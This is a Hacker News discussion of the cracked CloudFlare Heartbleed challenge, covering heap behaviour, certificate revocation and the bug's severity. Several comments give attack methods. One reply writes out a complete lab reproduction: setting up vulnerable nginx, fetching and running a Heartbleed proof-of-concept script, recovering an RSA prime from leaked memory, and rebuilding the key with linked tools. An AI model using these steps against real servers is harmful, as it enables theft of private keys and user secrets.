
CloudFlare's Heartbleed challenge cracked - jmduke
https://twitter.com/indutny/status/454773820822679552
======
nikcub
Reading Cloudflare's blog post[0], they keep referring to the exploit having a
length of 65,536 bytes, and how an allocation of that size is unlikely to find
itself lower in the heap.

That is true - but this exploit doesn't depend on setting a length of 65,536.
The server takes whatever length the client gives it (which is, afterall, the
bug). Most of the early exploits just happen to set the maximum packet size to
get as much data out (not realizing the nuances of heap allocation). You can
set a length of 8bytes or 16bytes and get allocated in a _very different_ part
of the heap.

The metasploit module for this exploit[1] supports varied lengths. Beating
this challenge could have been as simple as running it with short lengths
repeatably and re-assembling the different parts of the key as you find it.

 _edit_ something that I want to sneak in here since I missed the other
threads. Cloudflare keep talking about how they had the bug 12 days early.
Security companies and vendors have worked together to fix bugs in private for
years, but this is the first time i've ever seen a company brag about it or
put a marketing spin on it. It isn't good - one simple reason why: other
security companies will now have to compete with that, which forces companies
not to co-operate on bugs (we had the bug _16 days_ early, no _we_ had the bug
_18_ days early!, etc.).

As users you want vendors and security companies _co-operating_ , not
_competing_ at that phase.

[0] Cloudflare - Can You Get Private SSL Keys Using Heartbleed?
[http://blog.cloudflare.com/answering-the-critical-
question-c...](http://blog.cloudflare.com/answering-the-critical-question-can-
you-get-private-ssl-keys-using-heartbleed)

[1] see [https://github.com/rapid7/metasploit-
framework/blob/master/m...](https://github.com/rapid7/metasploit-
framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb#L130-L149)

~~~
dpweb
How do you know when you've found a piece of a key?

~~~
nikcub
store everything, reconstruct it all later by trying to work out which part of
the heap each request is from. there is likely some sort of efficiency
calculus you can do here (i'm not good at math so I have no idea what i'm
talking about) where you could calculate for heap size x and probabilities y
and z etc. just how many requests and what size they should be to cover the
entire process heap.

edit: OpenSSL wraps malloc, so it is different on different systems. You could
find out what the probabilities are by looking at the source. For some reason
FreeBSD's malloc gave up private keys with the default exploit length and not
much effort. It was only a matter of time before other platforms were also
figured out.

Note that the FreeBSD exploit worked on a fresh server after boot, which might
have also been the case here.

Note that in the heap there are the intermediate values that and are used when
constructing the connection and doing the encryption, you aren't exactly
looking for '\------BEGIN PRIVATE KEY------' or base64 string, you'd be
looking for those - each which have a unique data type.

~~~
adsche
> _Note that in the heap there are the intermediate values that and are used
> when constructing the connection and doing the encryption, you aren 't
> exactly looking for '\------BEGIN PRIVATE KEY------' or base64 string, you'd
> be looking for those - each which have a unique data type._

That's what I thought as well when I saw people POSTing strings like that and
other people finding them. But when the key is first loaded from file,
wouldn't actually all those base64 strings be in memory?

Probably just pretty unlikely that they would persist for a long time without
being overwritten.

~~~
alexkus
It shouldn't be about it eventually being overwritten, sensitive information
like that (which isn't needed for runtime) should be actively scrubbed before
the block of memory is freed.

You can't, however, get away with not having the private key modulus in memory
(in some form) all the time.

------
tptacek
[https://twitter.com/indutny/status/454767565991325697](https://twitter.com/indutny/status/454767565991325697)

How do you not love this guy.

~~~
mbesto
Core node.js dev, based in Moscow, commits open source almost daily, works at
Voxer, cracks security for fun.

I love the internet.

~~~
kevinwuhoo
[https://twitter.com/indutny/status/454783660886360064](https://twitter.com/indutny/status/454783660886360064)

Just awesome. Only 3 hours to rip out the key!

------
d0ne
We have reached out via twitter to this invidiual as to coordinate the
delivery of the $10,000 bounty we offered. If anyone is already in contact
with them please direct them to
[https://news.ycombinator.com/item?id=7572530](https://news.ycombinator.com/item?id=7572530)

~~~
danielweber
Somehow I totally missed your bounty offer. Not that I was going to win if I
had seen it, but where was it mentioned?

~~~
nolok
(at least) in a comment near the top in the hn annoncement thread for the
challenge

------
tomkwok
* From [https://www.cloudflarechallenge.com/heartbleed](https://www.cloudflarechallenge.com/heartbleed) *

So far, two people have independently solved the Heartbleed Challenge.

The first was submitted at 4:22:01PST by Fedor Indutny (@indutny). He sent at
least 2.5 million requests over the span of the challenge, this was
approximately 30% of all the requests we saw. The second was submitted at
5:12:19PST by Illkka Mattila using around 100 thousand requests.

We confirmed that both of these individuals have the private key and that it
was obtained through Heartbleed exploits. We rebooted the server at 3:08PST,
which may have contributed to the key being available in memory, but we can’t
be certain.

~~~
danielweber
I wonder if the trick is to just send so many things that memory wraps around
to a place where the key is exposed.

~~~
chadillac
That was my plan of attack, I left my machine at home sniffing, wonder if I
caught it.

Had bleed running in a while loop with no sleep and ab running on a loop as
well sending connections to the server hoping to get the mem jostled around
enough to cause something like that you described.

I was unsuccessful as of 9:30AM... now I'm really curious to get home and see
if I actually caught it... even though I already missed the $10k boat :(

------
danielpal
The important thing to know here is that you not only have to change your
current certs you ALSO HAVE TO REVOKE THE OLD ONE.

If you only change your current cert to get a new key but you don't go through
the revocation process of the old certificate if someone managed to get the
old one they can still use it for a MiTM attack - as both certs would be valid
to any client.

~~~
gojomo
Also, cert revocation just barely works, in some browsers, with EV
certificates, after old CRLs expire over a course of months:

[http://news.netcraft.com/archives/2013/05/13/how-
certificate...](http://news.netcraft.com/archives/2013/05/13/how-certificate-
revocation-doesnt-work-in-practice.html)

~~~
btown
Is there a tutorial (for multiple browsers/platforms) for browser users to
manually initiate downloading and processing of the latest CRL? Is this even
exposed by most modern browsers, i.e. as part of the "clear cache"
functionality? If so, I'd want to tell my [self/family/friends/coworkers] to
do this in the coming weeks to minimize the amount of time they might happen
to send private information to a MITM attacking, say, an e-commerce site.

Specifically, I'd be most interested for such a walkthrough for Google Chrome
on OS X, which most people I know use.

~~~
gsnedders
Chrome doesn't check revocations by default. See "Check for server certificate
revocation" in settings, which has for a while been disabled by default.

------
ademarre
[https://twitter.com/eastdakota/status/454792635279220737](https://twitter.com/eastdakota/status/454792635279220737)

Pic of the CloudFlare team reviewing the attack. Ten guys crowded around one
monitor.

~~~
fletchowns
Hah! That's awesome. Gotta love the Sierra Nevada on the desk too :)

edit: now why in the world is my comment being downvoted?

~~~
rubiquity
Because HN readers only drink Pliny the Elder and mentioning any other beer is
down vote criteria.

------
ig1
So I didn't manage to crack the challenge (I used around 10k heartbeats), but
I suspect it may have just been a case of brute-force (i.e asking for enough
heartbleeds). Other people may have got the key without realizing that had
done so because they were looking for the wrong thing (i.e. normal cert text
representation).

I took the approach of using two fingerprints to search the data:

1) The hex sequence "30 82 .. .. 02 01 00" which would indicate the ASN.1
private key encoding which OpenSSL uses.

2) The modulus which I extracted from the public key (which would also be in
the private key structure)

I didn't find any instance of the first, the second I found lots of instances
of (because the modulus is also in the public key). I then filtered out all
the instances of the public key by searching for the public key header ("30 82
.. .. 30 82").

This actually left me with two unique instances of the modulus in memory which
weren't in a public key structure. I then tried to overlay the private key
structure over the data and extracted what should have been the prime numbers
and ran a primality test on them (to verify; another way would have been to
just feed the structure into openssl). Both failed, so it wasn't the private
key structure.

But there's a reasonable chance that those two instances represented a
cryptographic calculation in progress; so while recovering the key wouldn't be
as trivial as if you grabbed the full private key structure from memory (which
I suspect is what the successful attackers did) I think it definitely
represents another attack angle.

~~~
carmaa
That's the way to do it - you can also use the tool interrogate:

[https://github.com/carmaa/interrogate](https://github.com/carmaa/interrogate)

/shameless plug

------
guelo
"We rebooted the server at 3:08PST, which may have contributed to the key
being available in memory, but we can’t be certain.".
[https://www.cloudflarechallenge.com/heartbleed](https://www.cloudflarechallenge.com/heartbleed)

That doesn't make sense to me, seems like the key needs to be in memory all
the time, or at least during every session.

~~~
zuado
It seems that someone is doing some requests with RSA keys as a parameter. It
doesn't make sense at all to me doing such request in order to get the server
private key. Anyone seeing the same?

~~~
riking
They're probably trying to spoil the pot for the other people that are trying,
by inserting extra private keys someone looking for 'just a private key' will
grab one of the pushed ones.

------
aboodman
It probably took longer to compose that blog post than it took @indutny to
disprove it.

------
alexkus
Didn't have any spare time to have a go at this, here's how I was going to do
it:-

1) Create a VM with the same version of Linux, nginx, openssl.

2) Create a self-signed SSL certificate for the server

3) Verify that the HTTPS server is vulnerable to heartbleed

4) Run a few HTTPS requests against the server

5) Use gcore (or just send SIGABRT) to get a core file of the nginx process

6) Write a tool to check the memory image for remnants of the private key
(since I know what it looks like). This may be encoded in several forms: as is
from the ssl key file, hex encoded modulus, binary encoded modulus, however
the BigNum stuff in OpenSSL stores the modulus, intermediate values used in
calculations, etc. I can also check for partial matches since I know what the
full key looks like.

7) Run the heartbleed client against the site to extract some chunks of
memory, there are various strategies for this:-

a) Repeatedly grab the largest (65535) bytes of memory each time

b) Repeatedly grab different sizes (8KB, 16KB, etc) depending on the bucket
sizes for OpenSSL's freelist wrapper around malloc.

c) Vary the request size (lots more headers, etc) to try and get different
chunks of memory returned.

d) Occasionally restart nginx

8) Once I can reliably (for whatever value of reliably that is) get the key
from my own server, I then modify the test for success from a comparison
against the known private key, to a test which involves decrypting a string
that was the result of encrypting some known plaintext with the known public
key. That'll be slower, but still possible.

9) Run that analysis against real data retreived from the challenge server.
The data (using the various strategies in #7) can be obtained in the
background whilst I'm developing #1-#8. You can't rely on having sole access
to the server so whatever strategy you use may be perturbed by other people
performing requests.

10) Repeat #1-#8 for Apache and any other web server that is vulnerable to
heartbleed.

This does work on the assumption that the key (in whatever form it is in) will
be returned as a contiguous block of memory. Trying to patch together chunks
of memory to look for the key will be much much harder unless there's
significant overlap and it's easy to detect what/where a key is somehow.

------
capcah
I am not sure how those guys did it, but I was talking to a friend of mine
today, and I guess that it had something to do with forcing the server to use
its private key to check for information sent to it. Then you use the
heartbleed bug to intercept the intermediate forms on the information you sent
to be decrypted/authenticated. Since you know the plaintext, the ciphertext
and the intermediate forms, it should be possible to recover the key.

As I said, I am not sure that is right or if that was the method used to
exploit cloudflare, as I didn't had the time nor the knowledge of openssl
implementation to test it out, I am just throwing my guess out there before
the official exploit comes about.

edit: formatting

~~~
StavrosK
You can't recover keys with known plaintext attacks in most encryption
algorithms used nowadays, plus, as far as I know, they don't even use the
private key to encrypt your request. They only use it for a DH handshake,
which establishes the session key you are going to use.

------
nodesocket
Love to see a post on how it was done and the tools he used.

~~~
danielweber
Same here. I was trying other ways in instead of Heartbleed, and made no
progress. On the positive side, I wasn't expecting Cloudflare to be vulnerable
to a timing attack anyway.

 _EDIT_ He won't reveal it for a week. Good on him.
[https://twitter.com/indutny/status/454790640078176256](https://twitter.com/indutny/status/454790640078176256)

------
badusername
So this does mean that I need to change my passwords on every damn site on the
list? Oh bollocks, those passwords were a work of art.

~~~
spindritf
No. This means you need to change keys for every ssl service you run.
Passwords were known to be leaked earlier.

~~~
just2n
Really it means (as everyone assumed in the first place) that anything a web
server might have in its heap needs to be totally thrown away. Private keys.
Passwords. Credit card numbers. Security questions/answers. Sessions.

Anything you'd send to a web server or receive from a web server is presumed
compromised.

~~~
Asparagirl
Seen on Twitter a few days ago: "Heartbleed is the Red Wedding of the
Internet". Thought it hyperbolic at the time, but not any more...

------
tszming
So @indutny sent at least 2.5 million requests, should we start to think more
on the practical prevention techniques?

~~~
pixl97
A different person achieved retrieving the key in 100,000 requests, which is
well within a practical and cheap botnet attack. The next question is how much
of the key did they receive in the requests that revealed the key. If it was
most or all of the key, a single attack node could query 100,000 different
servers with the high probability of retrieving a key at least once with a low
probability of being blocked by any of the servers.

TL:DR, patch OpenSSL and revoke and rekey all your certs.

------
wrs
Well, so much for wishful thinking.

------
specto
Considering he just pulled a shadow file as well, it's not pretty.

~~~
danielweber
I think someone else found that, although he linked to their pic.

Remember, lots of people are pushing up bogus stuff into the heap, so just
because you see something there doesn't mean Cloudflare leaked it.

~~~
alexkus
And who runs their webserver as root? (Or who changes the permissions on
/etc/shadow to allow it be read by a non-root process).

Having to be root to be able to bind to a TCP port <1024 is no longer
necessary on a modern OS.

------
athoik
An error occurred during a connection to www.cloudflarechallenge.com. Peer's
Certificate has been revoked. (Error code: sec_error_revoked_certificate)

Game over...

------
tectonic
Ah crap.

~~~
bigiain
On the other hand, if anyone asks me to justify all that "unproductive time"
this week, I don't need to handwave and explanations any more.

~~~
girvo
I was lucky, my boss understood pretty quickly how big a deal it was. My
project manager didn't, though, but he did pretty quick when I cracked our dev
server and told him his password for a couple of services.

It was fun playing pen tester and getting paid for it this week :)

~~~
bmadden
Do you guys store passwords in plain text? Shouldn't you only be able to get
password hashes from a vulnerable server? I might be reading too much into
your statement, but I'd like to know if I'm misunderstanding the situation.

~~~
barkingcat
you are underestimating the severity of the bug. The bug leaks server memory -
in which case unencrypted passwords are being sent to the server by the user's
browser in order to be hashed to be compared to the hashed versions in
storage.

Normally this is protected by tls, but as you can see, for servers that suffer
from this hole, it's as good as naught.

Note that this occurs for "any" connections hitting the vulnerable server,
meaning that the patient attacker can just run this in a script and scoop up
passwords, credit card #'s, form information POST'ed in by all users of the
web service all day long until the hole is closed. and even then there's a
good chance that the private keys were already exposed, in which case the
attacker can now masquerade as the server.

~~~
klapinat0r
This is why I always make sure to GC, delete or NULL input variables (you must
include the request; body et al.) after encrypt/hash/<mechanism>.

I basically take the stanze that I want as little to do with your real
password as possible.

~~~
mdda
Perhaps you should over-write them with garbage before doing this. Simply
deallocating them (or assigning them to new objects) could leave them hanging
around in memory until something else overwrites the same memory space.

------
benmmurphy
i think cloudfare's version of nginx is a lucky version or my code is bugged
or time after restart is important or you need to do some heap-fu by sending
different payload sizes.

so i booted up a micro vm on amazon aws and was able to dump the private key
in one request.

Ubuntu Server 13.10 (PV) - ami-35dbde5c

    
    
      sudo add-apt-repository ppa:nginx/development
      sudo apt-get update
      sudo apt-get install nginx
      sudo apt-get install ssl-cert
    

modify /etc/nginx/sites-enabled/default uncomment ssl server and change certs:

    
    
      ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
      ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
    
      sudo /etc/init.d/nginx restart
    
      curl -O https://gist.githubusercontent.com/benmmurphy/12999c91a4d328b749e3/raw/9bcd402e3d9beec740a61a1585e24c36dea80859/heartbeat.py
      chmod u+x heartbeat.py
    
      ubuntu@ip-10-185-20-243:~$ ./heartbeat.py localhost /etc/ssl/certs/ssl-cert-snakeoil.pem
      Using modulus: C30FB990C6C1EE4EE4524A724BDF10DCDC735C9BCCED84B38796584DCE9F7CB1027CCF63A0E604882AE9B8639CD0955C207BE641943AE38AC4DAE63ECCE7E79ACE7EB9EB5D92F55761924C35A00EB5AE4759CB6DC938DBD48ED34685BC32B3193FEF55F081BB2BFC33494F26E556803FD2506F94301DFD688A63F9F3572C540F3F5E7679D5454E532503636ABFCB95AC5674D47C2B23C4418E04BE1D36AECF6BFEA81FC38FCA3E72A3EACD0BFD4E07FDC3BFA8E70E002ECA68FE8E0621F56081D90A3724A1BED6B5E3BDCDCC02B4EDEAFD0EC4D60C7DEC95BF7756CD82442915EE1AB6738F38B3BA932C8D27B34E94205C84AB64ACC34487ED2FF3804332AB63
    
      Using key size: 128
      Scanning localhost on port 443
      Connecting...
      Sending Client Hello...
      Waiting for Server Hello...
      Got length: 66
       ... received message: type = 22, ver = 0302, length = 66
      Message Type is 0x02
      Got length: 750
       ... received message: type = 22, ver = 0302, length = 750
      Message Type is 0x0B
      Got length: 331
       ... received message: type = 22, ver = 0302, length = 331
      Message Type is 0x0C
      Got length: 4
       ... received message: type = 22, ver = 0302, length = 4
      Message Type is 0x0E
      Server sent server hello done
      Server TLS version was 1.2
    
      Sending heartbeat request...
      Got length: 16384
       ... received message: type = 24, ver = 0302, length = 65551
      Received heartbeat response:
      Got result: 154948185083822336433702373602285084550034029190596792283600073258494868382158852796844241764405565518400264295279959791461705192749666707538790201985451035410116800023040704455951541838840288378897688943017357577574672157589664822948047455855119173651635078033464041188274590174256703712210173285385390714209
      found prime: 0xdca74e63a186d60a9de3c8211e21a5b165c6d86d285c1d6eece2ad7a2505890ebae513e3013c3602f148e2112eaa99edd8ff5922494c4db47156727f93ab0f35a298553a82dfbd91e5e8aff2e969f31db31263bce9a89d95b64ff38ff5b86d47fa2e70aac5198d2ea967eb952f48b7264e824bd03b1c955294fb9caeed02ed61L
    

you can check the prime by doing:

    
    
      ubuntu@ip-10-185-20-243:~$ sudo openssl rsa -in /etc/ssl/private/ssl-cert-snakeoil.key -text
    
      ..
    
      prime1:
          00:e2:4e:eb:f7:88:3a:d4:ad:61:2c:ef:6f:b2:a6:
          3b:dd:c4:99:89:f1:b4:6e:6b:ce:76:51:c3:23:f7:
          7a:37:69:f9:6c:eb:65:3d:cd:6a:f7:c9:97:96:b0:
          f6:39:72:8a:ca:f7:45:3c:ff:25:b0:dd:a9:c1:08:
          c3:aa:53:41:22:20:df:74:cb:1d:ad:ce:67:1d:11:
          00:15:33:65:1f:d4:b9:a8:2b:27:50:da:7c:a7:e1:
          88:d1:2c:d8:d9:32:07:ba:23:e1:40:fa:fa:94:46:
          7f:9b:35:a1:d2:e4:91:86:f6:f3:79:2f:53:fd:95:
          4d:99:56:b3:c0:be:97:6b:43
      prime2:
          00:dc:a7:4e:63:a1:86:d6:0a:9d:e3:c8:21:1e:21:
          a5:b1:65:c6:d8:6d:28:5c:1d:6e:ec:e2:ad:7a:25:
          05:89:0e:ba:e5:13:e3:01:3c:36:02:f1:48:e2:11:
          2e:aa:99:ed:d8:ff:59:22:49:4c:4d:b4:71:56:72:
          7f:93:ab:0f:35:a2:98:55:3a:82:df:bd:91:e5:e8:
          af:f2:e9:69:f3:1d:b3:12:63:bc:e9:a8:9d:95:b6:
          4f:f3:8f:f5:b8:6d:47:fa:2e:70:aa:c5:19:8d:2e:
          a9:67:eb:95:2f:48:b7:26:4e:82:4b:d0:3b:1c:95:
          52:94:fb:9c:ae:ed:02:ed:61
      ..
    
    

so the exploit is the most stupid one possible. i took the POC code and
changed it to read all 64k. The version i had was reading only 14kb from the
server. Then just check all the 128 byte strings to see if they divide the
modulus evenly.

~~~
dogsky
Interesting. But from got the prime1 and prime2, from there how do you obtain
the private certificate?

~~~
benmmurphy
i think this took me as long as coding the recovery tool :(

[https://github.com/jjarmoc/csaw2012_cert_app/blob/master/lib...](https://github.com/jjarmoc/csaw2012_cert_app/blob/master/lib/openssl-
patch.rb)

[https://github.com/ius/rsatool](https://github.com/ius/rsatool)

~~~
jjarmoc
Yah, that's the trickiest part. I was pretty ecstatic when I found a real
world use case for toy code that I spent way too much time on :)

------
dogsky
I was unable to replicate. Can someone give more details, maybe the heartbleed
script updated and some instructions to replicate it? Thanks.

------
bitsteak
Why did anyone need this challenge in the first place? Couldn't someone have
justed ASKED a good exploit developer what they would do and what the impact
is? No, I guess we're all up for wasting people's time and creating potential
false negatives.

~~~
maccard
Because good idea in theory != good idea in practice. Showing that this
actually works in practice (albeit on an isolated incident) shows that the bug
is dangerous in practice, not just theory. Look at all the research in timing
attacks etc on TLS, some of which are theoretically feasible, until you
consider real world possibilities of remote servers, such as "Their ISP is
fiddling with routing so I have varying latency", or "They're using different
server configurations and I don't get connected to the same one every time".
This has been PROVEN to steal someones private key, which is worse than giving
someone the keys to your house, It's like giving them a blank passport with
your name on it, letting them put their photo on it, and with that taking your
car keys and hosue keys, and everything that identifies you.

Luckily, the fix is easy, just upgrade, revoke, and force password changes for
everyone.

~~~
brokenparser
Yeah, I bet that fix is real easy.

------
diakritikal
Hubris is ugly.

------
yp_maplist
IMO, CloudFlare is lame. Kudos to this guy for reminding me just how much so.

